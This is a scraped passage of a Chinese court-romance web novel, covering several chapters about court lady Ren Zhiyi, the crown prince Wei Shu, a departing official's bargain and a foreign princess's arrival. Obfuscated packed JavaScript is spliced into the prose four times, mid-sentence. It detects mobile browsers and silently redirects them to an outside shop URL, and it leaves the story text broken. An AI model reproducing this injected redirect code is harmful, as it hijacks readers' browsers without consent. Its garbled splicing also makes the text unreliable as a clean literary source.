“想来并不经常……李御厨曾经跟我说过,殿下从不挑剔膳食,所以外人都不知道他在东宫过得有多畅快。” 任知宜想了想,“殿下平日里喜欢吃什么?” “……”,雀琴突然面露惊喜,“女史是要亲自下厨,为殿下做早膳?” 任知宜怔了一下,旋即明白过来。 昨夜之事传遍东宫,今晨她又精心妆扮前去见太子,雀琴以为她想近水楼台先得月,甚至还要洗手作羹汤,讨君欢心。 瞥见她一脸跃跃之态,任知宜失笑道:“我只是想带些殿下爱吃的东西过去,试着劝劝他。” 雀琴眸中闪过一丝失望,二人就这么一直矜持着,感情何时才能有进展!太子年已二十三,东宫纳人已是迫在眉睫。女史为人明理和善,若能留在东宫,绝对好过那些眼高于顶的贵女。 她轻声劝道:“女史若是不善厨艺,不如为殿下亲手做份点心。” 在这种充满希冀的眼神注视下,任知宜颇有些招架不住,半晌方道:“太子喜欢吃什么?” 雀琴面露喜色,嘴里喊着“我去帮女史问问孙公公”,拎着裙角飞奔出门。 ———— 东宫膳房宽阔通透,灶台居中,内嵌四口铁镬,两架陶鬲。 两侧各五尺长木案,柜内置簠簋皿碟,杯盏盅卮。举头望去,横梁高悬,挂着风干的肉肠和腌鱼;左侧是新鲜的蔬菜瓜果,右侧摆放着糖、盐、蜜、梅子、花椒等。 木柴被扎成一捆捆,和其他杂物整齐地堆放在墙角。 李御厨和三个小内厨役站在一侧,额头冒汗,手脚局促。 东宫主子少,太子温和喜静,极少挑剔膳食,可没料到今晨早膳一口没吃,眼下东宫女史又突然驾临膳房。他们战战兢兢,唯恐是做错了什么事,要被发落。 待听明白是要借膳房做萝卜糕,俱皆松了一口长气。 李御厨提起做膳食,腰板儿直了一下,笑道:“做萝卜糕这东西,重点在于萝卜,萝卜生则臭,熟则甘,所以要先刨丝,再行汆煮,滤水之后方可用。” 任知宜听罢,在一堆白萝卜当中挑挑拣拣,选了一根最合眼缘的,“这根如何?” 李御厨笑了笑,“女史挑的这根细白嫩滑,看着倒是赏心悦目,吃起来却不算好,须得挑那粗圆肥壮的,做出来才美味。” 说罢,他拎了两根大头萝卜出来。 任知宜正要上手,被李御厨慌忙拦下。 “女史穿这身衣服,恐怕不太合适……” 更衣回来。 换了一身素色布衣,乌发无饰,仅以白色头巾挽起。 此时,卫枢从外间缓缓踏步而来。 “你们在做什么?” “拜见殿下。” 诸人见礼,卫枢的视线凝在任知宜的脸上。 丹唇外朗,粉黛蛾眉,眉心一朵花钿,艳灼其华。 如此精心妆扮,却配了一身乡野女子的素衣布裙;头巾束发,鬓丝微垂,透出几分小家碧玉的清秀。 雀琴主动开口,“女史在为殿下做萝卜糕。” 卫枢双瞳陡缩。 心跳倏地一窒,一种莫名的,复杂的情绪流窜开来。 昨夜任知宜的酒醉之言袭上心头——“我心似月,悲喜同君”。 此君为何? 是“君上”,还是“郎君”? 深思之下,竟成执念。 昨晚辗转反侧,彻夜无眠,以至于晨起之后没有一点朝食的胃口。 他去见任知宜,被告知她人在厨房,更让他惊讶的是,她居然亲手为自己做点心。 “你们出去!” 众人退下。 卫枢缓缓走到任知宜身侧。 木案之上切好的肉丁,大小不一,显然持刀之人是个做膳的新手。 任知宜放下刀,对他赧然笑笑。 因着母亲身体孱弱,父亲将她一手带大,子经诗赋、弈棋书画教了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136707|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不少,却没有让她学过厨艺、女红,待到后来父亲察觉不妥时,她已不愿长困于家中学这些东西。 “孤来吧!” 他接过她手中的刀,手起刀落,快如光影,不过片刻,食材便已备好。 任知宜看得丹唇微张,啧啧惊叹,“殿下跟谁学的?” “在宫外生活的那几年,每日劈柴,担水,做饭,都是寻常事。”卫枢眼皮微抬,淡笑一声。 “这些事,殿下一学就会?” “怎么可能!那时天不亮就要去河边挑水,春夏尚好,若遇上雪冻,便要进到河心凿冰取水,有一次不小心,差点掉进河里。” 她笑道:“殿下的样子,似乎很是怀念。” “初时不适应,后来发觉这些不过是百姓的寻常生活;战乱起时,你就算想做这些都不能。”卫枢轻声道。 任知宜突然记起,苏叶无意中说过,卫枢一向不喜欢住在东宫,反而常在别院里自己劈柴,做饭。 当年嘉以之乱,她尚年幼,后来经常听父亲说过大胤内乱,十室九空,饿殍遍野,凄惨无状…… “呲啦……” 卫枢长勺一握,翻炒起来,三两油星点子落在白色的长袍上,生生玷染了一件上等的织云锦袍。 烟气浓烈,直呛入喉。 任知宜眼角泛红,掩嘴呛咳了几声,被卫枢轻推到后面,“一会儿就好。” 她望着卫枢的侧影,眼神多了几分光亮。 抿唇笑了一会儿,她笑眯眯地叹道:“原本臣听说殿下未进朝食,想为殿下做份萝卜糕,最后却是让殿下亲自帮手。” 卫枢手下动作一顿,停了下来。 “东宫有御厨,为何还要亲自为孤做萝卜糕?” 明眸沉静无波,带着些许威压,似是对这答案有执念。 任知宜一下子没了话。 她心内犹豫。 究竟该说自己不忍拒绝宫人之请,还是该说殿下乃一国储君,当重己身,以利大业? 心思百转千折。 静寂半晌。 任知宜将米粉和入水中,抬起头来,缓缓道:“我想试一试,殿下会不会看在萝卜糕是我亲手做的份上,多吃两口。” 这是实话。 她原本想得不多,只是单纯地关心他,可是看卫枢的神情,似是极为在意…… 他,或许是猜出了自己的心意。 想到这里,她禁不住面颊发热,袖中指节紧握。 “你的脸怎么红了?”卫枢抬眼问道。 任知宜神色一滞,后退了两步,镇定道:“无妨,被这热油燻的。” “哦……” 卫枢轻声应道,唇角微微勾出一个弧度。 —— 半个时辰,木甑下鬲,萝卜糕做成。 色泽纯白,鲜味扑鼻,只是可惜不成形态,软软塌塌的,不甚美观。 夹了一块儿浅尝,软糯有余,劲道不足。 任知宜大失所望。 她嚼咽下去,眉头紧拧,“我去问问李御厨!” “不用了!”卫枢伸手拦下她,将她拉至身侧坐下。 他敛袖静坐,执箸入口,笑若清风。 “味道刚刚好。” 63. 对弈 转眼间,半月倏忽而过。 一夜北风,枯叶遍地,兆京城恍恍惚惚地跨入萧瑟。 东宫之中,却是难得的静好。 雀琴添上茶,悄无声息地退下,唯恐惊扰了案几旁对弈的二人。 茶气氤氲而升,如烟似雾,绕于棋盘之上。 “你确定要落子于此?” 棋盘上,黑白分明,黑子只守不攻,已成被围之势,渐落下风。 卫枢指捻黑子,深思不决。 任知宜望着他一脸凝重的模样,顿觉周身畅快。这几日与卫枢对弈十八局,九胜九负,今日才算压他一头。 “孤尚未输。” 黑子落下,卫枢笑得云淡风轻。 此棋下得妙,转眼逃出一片生天。 不过,终究是强弩之末。 任知知宜莞尔一笑,“明知是败局,殿下何必苦撑?” 卫枢不以为然,“昨日,同样的问题,孤也问过你。” 任知宜哑然。 昨日一局,被卫枢杀到惨败告终。中途她亦未认输,即便终是败局,也断不能让对手安宁! 半月来,太子被禁足东宫,任知宜相伴左右。 二人晨起于书阁读书作画,午时往厨房做膳,过了晌午则对弈品茗,日子过得宁静惬意。 东宫之外,朝堂风云,人事变幻,似乎都与这里无关。 曾经有一日,郑皇后突然驾临东宫。 站在廊下,远远地望见书阁中,一人手拿书卷安静读书,一人于书架前翻拣古籍,各自安好。卫枢时而抬头,望向任知宜站立的方向,唇角含着淡淡的笑意。 郑皇后很少看见卫枢这么笑过,他的笑容里总是带着几分淡漠,几分疏离。 她于廊下静静看了许久,长长地叹了口气,没有让宫人通传,悄然离开…… 白子一落,败局已定。 任知宜长舒一口长气,粲然笑道:“殿下承让!” 她知晓卫枢已尽全力,并未刻意谦让。 棋逢对手,本就是人生一大快事,若是相让,便失了对弈的乐趣。 卫枢轻咳一声,缓缓道:“你棋风凌厉,若遇老成之人,初始占不了先机,后面便难翻盘了。” 这段时日,二人朝夕相处,少了诸多顾忌,任知宜得以更熟悉卫枢。 此刻这个表情,眉峰微压,看似从容淡笑,实则不豫…… 她望着他的眼神多了几分微妙。 卫枢不明,指尖抚上脸颊,“孤面上有脏污?” 任知宜笑道:“世人皆说殿下清风朗月,心境淡泊,不为外物所动,没想到会为区区一盘棋局失了寸心,不愿意承认自己输了。” 卫枢一怔。 当年,义父曾说过,他其实是一个得失心极重之人,只是善于隐藏;义父还提醒他,执念太深,于己于人皆不是好事。 不知道从何时开始,在任知宜面前,他希望展现的都是最好的一面。 就连小小的棋局,都开始在意起来。 “见笑了!”卫枢摇头失笑,“是孤技不如人。” 此时,孙公公站在门前徘徊不前,不知该不该进去。 “何事?” 屋内的声音让孙公公回过神来,他进内禀道:“柳大人着人送了一封信到女史家中。” 任知宜展信。 “是柳德!”她将信笺递给卫枢,“他约我明日在凌云楼一见。” 卫枢眸色深浓。 “听闻陛下御笔朱批,同意柳德辞官返乡,封龙集殿大学士,赐全俸,恩及三代。” 卫枢点点头,“政事堂一致赞同,中书省连夜行了公文,邸报之上亦有记录。” 柳德致仕,已是无疑。 “他此番远离朝堂,曾经的门生故旧会如何?” 卫枢端起茶盏,抿了一口,“柳德虽离开,景相却还在,谁都动不了他们。” 他又道:“柳德此番颓败,心中最恨之人就是你。他临走之前,还要见你一面,孤担心他会对你不利。” 任知宜原本也是作此想,奈何柳德对她知之甚深,特意在信中提到,若她能赴约,愿以“薄礼相赠”。 “我让林四哥跟着,光天化日之下,谅他也不敢做什么。” 任知宜定下主意。 卫枢劝不过她,待到夜里,又去暗卫营亲自挑了两名暗卫。 ———— 凌云楼内,倚窗而望,禹山添了几分寂寥之色。 长空苍茫,群雁南飞。 同样的雅间,紫檀黑漆木案上放着青花缠枝耳壶,馥安茗茶香气四溢。 此情此景,不由让人想起数月前二人初见。 彼时,他们相互试探,各怀心思,仿似还在昨日。 “柳大人,虚礼不必。” 任知宜望着眼前推过来的白玉茶盏,淡淡道。 柳德身着褐色布衣,背微微有些佝偻,双目黯淡,脸颊凹瘦下去,显得额尖更窄。 “任知宜,老夫栽了!” 柳德声音苍凉,带着几分不甘。 “柳大人,世家把控地方实权,攫取朝廷税赋,你甘心为虎作伥,终究不能长久。” “呵呵呵……”,柳德笑得狂放,“成王败寇!老夫若不是将宝押在安王身上,今日轮得到你一个小小女子来教训老夫?” 任知宜不以为然,“太子是储君,为人清正,得道者自然多助。” 柳德双目圆瞠,恨恨道:“老夫不懂,你到底是何时与太子设下此局?难道离京救父,与太子不和,都是假的?” “事已至此,柳大人何必耿耿于怀!” 柳德长叹一口气,“在你看来,老夫一败涂地,却还存争胜之心,委实可笑了些。” 任知宜微微蹙眉,心下逸出一声喟叹。 沉吟半晌,缓缓道:“我与殿下不和是真,离京救父九死一生是真,甚至……我倾慕太子也是真。” 柳德目露惊讶,听她继续道,“大人唯一料错的是——看轻了我。 大人以为女子重情爱,轻大义,料定我是因为倾慕太子才舍命襄助,自然也会因为嫉妒之心而去破坏太子的姻缘,作出不利东宫之事。 任知宜轻晃茶盏,悠然笑道:“你看轻了我,亦看轻了天下女子。” 柳德默然。 任知宜道:“言尽于此,算是感谢你为我父亲升任刺史之事尽力。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14162139|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 转身欲走。 “等等!” 柳德沉声道:“任姑娘忘了?老夫说过,还有薄礼相赠。” 任知宜苦笑。 这些日子,郑家出手,宝篆香铺几乎是苦撑不支,她每每盘账时简直心如滴血。 缺银子的日子可不好过! “柳家的薄礼,恐怕不是白送的吧!”任知宜薄唇轻动。 柳德道:“老夫有一亲侄,名唤柳常,不日将就任礼部员外郎,我希望东宫不要插手此事。” 致仕之前,柳德最后一次为子侄铺路,是皇帝默认的事情,明路上自然是无碍,怕只怕东宫插手。 “柳大人可以寻景相庇护。” 柳德面容一僵,继续道:“老夫这个侄子为人胆怯,资质平庸,难堪大任,不会对太子构成任何威胁,只是给我柳家留个人在朝中。” 任知宜思忖,他这番舍近求远,该是料想景相不会理会,可见之前柳德欲陷害太子,挣从龙之功,未尝没有越过景相的意思。 “若任姑娘答应,老夫便将凌云楼送给姑娘。” 任知宜闻言一愕,“柳大人舍得?” 柳德失笑,“凌云楼能成为京城第一楼,靠得是老夫的权势,今后凌云楼失去依恃,必做不长久,还不如送给姑娘做个顺水人情。” 任知宜心内思忖,凌云楼接手过来,百利而无一害。 柳德将凌云楼掌柜叫进来,嘱咐了一番,掌柜抬眼瞥了任知宜一眼,不情不愿地应下了。 任知宜冷眼旁观,“我接手之后,会换掉凌云楼的掌柜和其他人。” “姑娘随意。”柳德不咸不淡道。 “那就多谢柳大人。” 买卖谈完,无话好说。 临走前,任知宜随意道:“祝柳大人此行安稳顺遂,就此远离纷争。” 柳德并不领情,哼了一声,“任姑娘也好自为之,要知道郑家可不是省油的灯。” 任知宜冷冷提醒道:“郑檀早已离京。” “哈哈……”,柳德笑罢,轻轻吹着茶盏内的热气,“郑家的根基本就不在京城,而在江南三道九州,你以为韩家能顺利接手盐业?” 他皮笑肉不笑,“你与太子鼠目寸光,非要与安州王结盟,此人狼子野心,将来必成大患。老夫再怎么党争伐异,也绝不会谋逆朝廷,可是何卢呢?终有一日,你们会自食其果。” 说着说着,柳德面上浮出几缕阴狠的笑容。 此时,任知宜对他已是厌烦至极,“我收回刚才的话,以柳大人这种心态,恐怕此生都过不上安稳顺遂的生活。” 柳德啜了口茶,问道:“你尝这茶如何?” 任知宜蹙眉,不明所以。 “馥安茗茶一两三金,靠官家的俸禄能喝上一两三金的茶?” 任知宜道:“你想说什么?” “有人的地方就有欲望,有权力的地方就有利益。老夫喝惯了馥安茗茶,若有一日让老夫回乡去喝那粗茶,你以为老夫会欣然接受?换句话说,这世道本就不存在清明盛世。 老夫想要安稳顺遂,更想活得久一点,看你们终将大胤带到何处?” 茶气升腾,袅袅如烟。 64. 秋千 是日,风清气明,晴空万里。 东宫后院里,卫枢挽着袖子,蹲在地上,正在研究如何将长木条的一端切出榫卯的形状。 当年在乡下,经常见村里的木工做这种活儿,看着轻巧简单得很,未料到自己上手,倒是犯了难。 这几日,他翻遍书阁中所有的营造书籍,又传了几个老内侍询问,终于有了大致的思路。 终究是“纸上得来终觉浅,绝知此事要躬行”。 就这么敲敲打打,从天未破晓开始,足足做了三个时辰,卫枢终于勉勉强强搭出一个木架的雏形。 见卫枢顺着木架往上爬,孙公公站吓得直哆嗦,“殿,殿下,您有什么事儿吩咐老奴干就好,千万不可以身涉险啊。” 卫枢淡淡道:“这里没你什么事儿了,退下吧!” 孙公公无奈,只好去请任知宜。 等到任知宜到来时,丈高的木架已然立起,扎于深土之中。 两侧各三根粗木条,立成三角爪状落地,中间置一根横木。 她以手撑额,仰头望去,太子身着粗布衣,踩在高高的横木上,日光洒下来,落成一片鎏金色,看不清神情,只能看到他手中拿着把铁锤,不停地敲打。 好一幅不可思议的景象! “内侍省近来缺工匠?”她觉得好笑,问道。 孙公公气得跺脚,“哪里缺了?是殿下死活不让别人插手,说是要亲手落成这个架子。女史你快劝劝殿下。” 任知宜站在下面绕了一圈,突然伸手,握着木架轻轻摇晃了一下。 “啊啊……”,孙公公倒吸一口凉气,颤声道:“快住手!快住手!女史怎地这般不知轻重,这么高,若是把殿下摔了该如何是好!” 任知宜笑笑,“孙公公,您别害怕,我只是试试这架子稳不稳固。” 孙公公急了,“您别光看热闹啊,快劝殿下下来啊!” 任知宜也不理会,仰头迎向刺目的光,朝卫枢笑道:“这架子挺稳的,殿下手艺不错啊!” “你来了啊!” 听到她的夸赞,卫枢站在高处,望着下面笑了笑,明朗的笑容似融于秋日朝阳,温柔和暖。 “殿下今晨几时起的?做这个很麻烦吧,做了多久?”任知宜继续喊话道。 “不长,两个时辰。”卫枢淡淡应道。 他没说实话。 自从前几日起了心思,整夜里都睡得不踏实,不愿假手于人,只好自己苦思如何搭建成形。 为了给任知宜一个惊喜,白日里还要瞒着她。 过了半个时辰,卫枢自架上下来,问道:“猜猜看,这是什么?” 任知宜轻笑,“殿下小瞧人了!我灵州虽地远,却也不是荒蛮之地,我幼时进出山林,经常以藤为千,嬉戏至日暮方歇。” “打秋千”,原本是大胤民间极盛行的一种游乐,这几年,渐渐流传开来,勋贵家中也开始玩乐。 “这木架已成,找两根粗麻绳挂上去,再找一块踏板,就可以打秋千了。”任知宜眼睛亮亮的,一脸的跃跃欲试。 瞧见她欢欣雀跃的样子,卫枢的声音愈加温和,“麻绳易断,不够稳妥。” “那用什么?” “之前秋猎,孤得了不少猎物,以兽皮作绳索,想来更结实一些。” 任知宜赞道:“好主意。” 二人合力,将秋千固牢。 任知宜一跃,跳上踏板,笑得轻快,“殿下不要推得太用力,太高了我会害怕。” 卫枢依言笑笑。 她脚下一蹬,慢悠悠地荡入空中。 和煦的风将浸了薄汗的轻衣吹干,天与地似乎近了,变得不再苍茫飘渺。 “还要不要再高一点?”卫枢问道。 笑声迎着风吹过来,“不用!这样就好!” ………… 叶蕴之进到后院,望见卫枢一身的粗布麻衣,扶着千绳悠来荡去,面色倏地一沉。 方才孙公公向他抱怨,说宫里能工巧匠多的是,殿下非要亲手置架,过于危险。苦劝殿下不听,少不得要请他再劝劝。 原来,竟是为了哄这女子开心。 叶蕴之恭恭敬敬地行了个礼,“殿下!” 卫枢放下挽起的袖子,搀扶他起来,笑道:“此处是东宫,没有外人,老师不必多礼。” “礼不可废!”叶蕴之肃着脸,“殿下是储君,身系大胤之安,敬老臣为师,是殿下宽厚仁德。可是,君是君,臣是臣,君臣之礼必须恪守,若是有人荒唐僭越,失了分寸,那便是大不敬。” 这话夹枪带棒,含沙射影,卫枢和任知宜都听出其中真意。 任知宜敛笑,静立一旁。 卫枢眉心微蹙,“老师今日前来,所为何事?” 叶蕴之看了任知宜一眼,似乎有所避忌。 任知宜识趣,“臣记起昨日在书阁外晒的书还未收,请允臣告退。” 人走远后,卫枢披上锦衣外袍,缓步走着,“老师是不是对知宜有所保留?之前种种,孤可以同老师言明,皆是误会。” 叶蕴之抚着指骨,跟上脚步,“老臣有句话,不知当讲不当讲?” “老师于孤如父,但说无妨。” “殿下是否有意纳她为侧妃?” 卫枢脚下一顿,转过身来,“老师何出此言?” “请殿下解惑。” 卫枢拧眉,“无意。” “老臣觉得,殿下不如认真地考虑一下。” 卫枢怔住。 叶蕴之缓缓道:“此女心思变数太多,她聪敏诡诈,且市侩凉薄。这一次郑韩争斗之机,让老臣看明白一件事,她对殿下未必能一直忠心,若被有心之人利用,将危及东宫。既然如此,殿下不如将其纳入东宫,成了东宫侧妃,她便再无可能背叛殿下。” “……” 沉默片刻,卫枢轻声道:“老师不是也曾夸她是一把极利的尖刀!” 闻言,叶蕴之的面色并未和缓,“若尖刀反噬呢……” 卫枢打断他的话,“她不会!” “听闻殿下与她有个三年之约,殿下可有想过,三年之后她会去哪儿。她得罪朝中重臣和江南世家,若无殿下庇护,她绝难在京城立足,会不会就此投效他人?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14220539|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卫枢想起,她曾说过,想四处行商,看看各处的风土人情,做点小生意。 以她的性子,绝不会愿意困于后宫。 卫枢轻捏眉心,看起来有些乏累,“老师,知宜帮孤良多,以她的才智和性情,入后宫实在可惜。” “殿下不答应,真得是因为惜才爱才?”叶蕴之双眸直视,“殿下为任平之案亲下安州,又为她顶撞皇后娘娘。老臣觉得,殿下对她过于信任,宽忍,甚至已经超出了一个主上对下属的宠信程度。” 卫枢默然。 “殿下身系江山社稷,绝不能被一个女子所左右。” 或许,这才是叶蕴之心中,任知宜最大的罪过。 卫枢背转身去,目色幽幽,“孤知晓了。” 风吹起,几片黄叶在空中打了个旋儿,飘然落下来。 察觉卫枢不想再说,叶蕴之缓了口气,“殿下,老臣今日前来,是想说户部尚书的位子一时之间恐怕难以定下来。” 眼下的三位人选,分别是户部侍郎苏叶,右补阙宋其臻,中书舍人薛畅。 “让苏叶退出来。”卫枢道:“近来父皇气性大,既然他想要宋其臻做这个位子,老师莫要因为此事再触怒天威。” 叶蕴之不以为意,“老臣无妨!只不过这样一来,江南和两靖的税账便不好再查了。” 卫枢道:“宋其臻在翰林院做了十几年大学士,对户部庶务并不精通,想来对苏叶查账影响不大。反倒是薛畅,为人精干敏锐,势必能察觉。” 宋其臻是皇帝的人,而薛畅是景相的学生。 户部掌大胤财脉,户部尚书一位,至关重要。如今,国库说不上亏空,却也有些捉襟见肘。不逢灾年,不遇兵祸,自当无碍;但是卫枢心中一直有隐忧。 之前,苏叶下江南,为的就是查茶税账务。 大胤施行茶业禁榷,征收茶租,并禁止茶户私卖。 自咸宁元年起,江南三道未遭遇大灾,茶租一直递减,茶价却逐年攀升,馥安茗茶甚至卖到一两三金的价格。 叶蕴之又道:“老臣会以御史台的名义查一下薛畅。” “辛苦老师!” “另外……”,叶蕴之欲言又止。 卫枢侧目。 叶蕴之缓缓道:“老臣当年是在成州找到殿下,从不知道,殿下还曾经在云门镇居住过。” 当年,卫枢的记忆遗失大半,义父死后,在附近的几个州又流落了几年,平日里靠支个摊,给人写字作画为生。 叶蕴之找到他的那日,恰是小雪。 他坐在街边,衣衫单薄,捧着半块儿干硬的馍馍,正准备吃。 突然,一个长者冲跑过来,猛地抓住他的手臂,跪在地上嚎啕痛哭,“老臣无能,……让殿下受苦了!” 这些年,叶蕴之常常遗憾自己没有早一点找到他,所以卫枢极少跟叶蕴之提及当年的经历,无谓徒增老师的负疚。 卫枢轻声解释道:“是住过几年,不是什么要紧之事。只是孤不明白何卢为何与云门镇的案子有关,所以孤想查清真相。” 叶蕴之点了点头,未再深问。 65. 公主 鸿胪寺公廨 鸿胪寺卿祁冬阳一身官服,快步入内,行至门口时,觑见堂前那盆金蕊芍药,顿时心火翻涌,一脚踢了过去。 “使不得啊!大人!” 后面的寺丞跟上脚步,忙吩咐下人将芍药搬走。 祁冬阳一掌拍在案上,“本官做鸿胪寺卿二十多年,还从未遇过此等难缠之人,她以为这里是她应国的皇都吗?” 寺丞倒了盏茶递上去,“大人消消气!听闻彦月公主美貌绝伦,在应国声望极高,深受应帝疼宠,恐怕是养成了一身娇纵的毛病。” 照应国使臣队伍的行进速度来看,彦月公主原本应在中秋的第二日到达京城,祁冬阳还据此上了奏报。 可谁知,彦月公主行至离京城不远的平州,不小心生了一场风寒,只好就地将养,这一调养便是将将一个月。 彦月公主金枝玉叶,一时嫌弃平州睡床冷硬,要鸿胪寺送去新的拔步床和丝锦衾被;一时又嫌弃平州的水不够清甜,要鸿胪寺从京城运干净的水过去。 前几日,又嫌她养病的园子景致太差,让鸿胪寺的人过去修整一番,尤其是要置上她最喜爱的金蕊芍药。 前面的东西还未备好,后面的要求紧跟其后,搞得鸿胪寺上下不堪其扰。 祁冬阳冷笑,“若光是这些,倒也罢了!她又提什么“进城时,希望第一个看见的人是太子”,这是什么话?她这是想要太子去城门亲迎!” 寺丞轻声道:“大人也知道,彦月公主身份尊贵,此番来大胤和亲,身上还带着应国的造船术。即使太子亲迎,倒也不算过分。” “哼……”,祁冬阳气道:“本官若据实以报,会得罪景相;若是敷衍不理,将来太子知晓,势必恼怒于我。” 太子被禁东宫三月,景相一改之前的淡漠,提拔了数十位门生故旧,处处针对太子一派,还因为户部尚书的位子与皇帝互不相让。 此时,彦月公主提出此等要求,难保陛下会顺势而为,解除太子禁闭。景相知晓,必然恼怒。 祁冬阳满面阴云,“有没有能避开此事,而又不得罪太子的办法?” 寺正沉思片刻,“属下有一计,不知可行不可行。” “说!” “大人可认识东宫的那位任女史?” 祁冬阳瞳孔一震,“任知宜?你提那歹女子作甚!” 一提到她,就会想起肖显秀、程可靖和柳德的下场,整个人都不好了。 “大人尽可答应那彦月公主,然后在她那园子里安插几个碎嘴的奴婢。” 寺丞低声道:“令她无意中得知任知宜这个人,知晓任知宜善于蛊惑太子,常常妄自尊大,代太子行事。” 祁冬阳蹙眉,“这是何意?” “大人将公主的要求向景相据实以告,请景相奏请陛下,令任知宜代东宫行迎接一事。彦月公主娇纵愚蠢,又不熟悉大胤朝中之事,她在城门前见不到太子,自然先入为主,以为是任知宜从中作梗。” 移花接木,祸水东引。 寺丞笑道:“如此一来,景相也会对大人另眼相看。” 祁冬阳沉思片刻,目色渐幽。 ———— 进入十月,天气一时一变,阴风骤起,兆京城像是突然入冬,冷得让人头皮发麻。 未至申时,天色渐暗。 任知宜袖着手,走到舆车前,躬身道:“祁大人!” 幔帘掀开一角,一股子冷风直窜进去。 祁冬阳靠坐在榻上,双手抱着莲花手炉,脸色不善,“何事?” 任知宜默默地搓了搓冻僵的手指,“按脚程,彦月公主早该到达,下臣担心前面有什么意外,要不要派人去查看一下?” 祁冬阳嘴角轻扯,还能是因为什么! 那彦月公主又犯“病”了!一会儿说自己心悸,一会儿说头疼,拖拖拉拉了两个时辰才动身。 “本官已派人去了!”祁冬阳敷衍道。 任知宜又道:“祁大人,这冷风愈烈,诸位同行皆衣衫单薄,可否去旁边檐下避一避风?” 祁冬阳朝车外望了一眼,摆摆手,“去吧!” 檐下背风,任知宜靠在角落里,双手互搓,哈了口热气。 身体暖了少许,思绪渐渐回转。 听闻彦月公主是应国第一美人,应国国君最宠爱的女儿,拜倒在她裙下之人无数。有人形容她美得有如天上的明月,令人不敢直视。 她一直没想通,彦月公主不求尊位,只寻有情人,为何非要千里迢迢来大胤找寻,还要以应国的造船术做嫁妆。 难道真得只是因为心慕大胤文化…… 若公主心悦太子,太子会娶公主吗? 簌簌冷风吹来,任知宜环抱住双臂,望了望乌压压的天色,心绪沉沉。 造船之术,太子势在必得。 若太子娶了彦月公主,她任知宜要何去何从?日后太子登基,充盈后宫,她又该如何自处? 之前,她是东宫幕僚,所行所思皆为成就东宫大业,如今生了情爱之心,光是想一想,都会觉得满心苦涩,遑论置身其中。 韩少初那夜的忠告言犹在耳,或许,是她将事情想得简单了…… 辚辚车马之声传来,借着暗光,任知宜瞥见应国的仪仗标志。 众人迅速归位,迎接彦月公主大驾。 宝盖华车,雕桁白帷,香车遍体金饰,在昏暗中透出荧荧之光。 白帷轻撩,玉手缓缓探出,肌肤莹白,皓腕纤细,随着帷幔掀开,彦月公主被侍女搀扶着,款款而出。 众人皆呼吸一窒。 人世间竟有此等美貌! 她盈盈而立,通体雪白。 月白色褶裙,外罩一件白狐裘大氅裹身,与她莹白如玉的肌肤合为一体,像是黑夜里的一樽白玉雕。 “大胤好冷啊!”彦月公主拢了拢狐裘,轻声道。 她的声音甜软,带着几分慵懒的娇媚,听上去酥酥的。 这一瞬间,鸿胪寺上下似乎忘却了她的诸多无礼要求,理所当然地认为,公主纵使娇纵少许,也是寻常。 祁冬阳亦是一怔,这等美貌,竟连妩媚动人的庆嫔娘娘也比不过,难怪是应国第一美人。 “臣鸿胪寺卿祁冬阳,拜见公主殿下。” 彦月公主美目轻盼,笑道:“天寒地冻,让诸位久等了。” “公主言重了。” 彦月公主轻咬丹唇,“不过,大胤官员的规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他想要借彦月公主之手收拾一下任知宜不假,可是没想到这个公主行事会如此肆意。 巴掌落下之前,任知宜用力挣脱侍女箝制,怒不可遏,“公主未免欺人太甚!” “停手!” 从舆车后面走出一人,面白微须,气质儒雅。 是应国使臣伊柘。 伊柘走到公主面前,躬身道:“大胤不同于应国,请公主勿要因小失大,坏了两国邦交。” 接着又走到任知宜面前,“任女史受惊了!” 彦月公主撅了撅樱红小嘴,带着几分泫然,“伊相为了个外人数落本宫!” “臣不敢!” “算了!”彦月公主戴上兜帽,转身走回輿车,“今日看在伊相的份上,本公主暂且不跟你计较,你日后离本公主远一点,好自为之!” 车轮远去,天空落下几瓣雪花,是今年的初雪。 任知宜轻轻拂去手背上的落雪,一触即化。 66. 意外 疾风不歇,轻雪飘扬,有如飞卷滚地的白沙。 不远处灯火璀璨,不时传来击罄之音,丝竹管弦,萦绕不绝。 大胤以最高的礼仪迎接彦月公主,于甘露殿内设下筵席,人声鼎沸,好不热闹。 东宫之内,似乎与这喧闹隔绝。 